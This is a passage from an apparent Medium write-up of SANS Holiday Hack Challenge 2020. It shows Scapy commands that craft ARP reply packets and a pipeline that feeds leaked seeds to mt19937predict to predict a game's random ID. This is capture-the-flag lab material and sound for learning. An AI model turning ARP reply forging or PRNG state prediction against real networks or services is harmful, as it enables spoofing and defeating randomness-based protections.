>>> ARP_PACKETS[1][ARP].hwsrc=”00:13:46:0b:22:ba”>>> ARP_PACKETS[1][ARP].hwdst=”00:16:ce:6e:8b:24">>> ARP_PACKETS[1][ARP].op=2>>> task.submit(ARP_PACKETS)
Great, you prepared all the present packets!
Congratulations, all pretty present packets properly prepared for processing!

Installed mt19937predict according to:

Started challenge on impossible. Within the comments there are many nonces listed as “not random enough”. Extracted all of these seeds to a text file. Then ran the following command to get the current game id.

cat sbseeds.txt | mt19937predict | head -1

Started an easy game using the ID 2782782364 and documented all of the hits. Then went to the impossible game and completed it by hitting all the forts first.

This concludes the raspberry pi challenges completed for SANS Holiday Hack Challenge 2020.

Thanks to SANS, Counterhack, and all the sponsors! Have a great 2021!

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store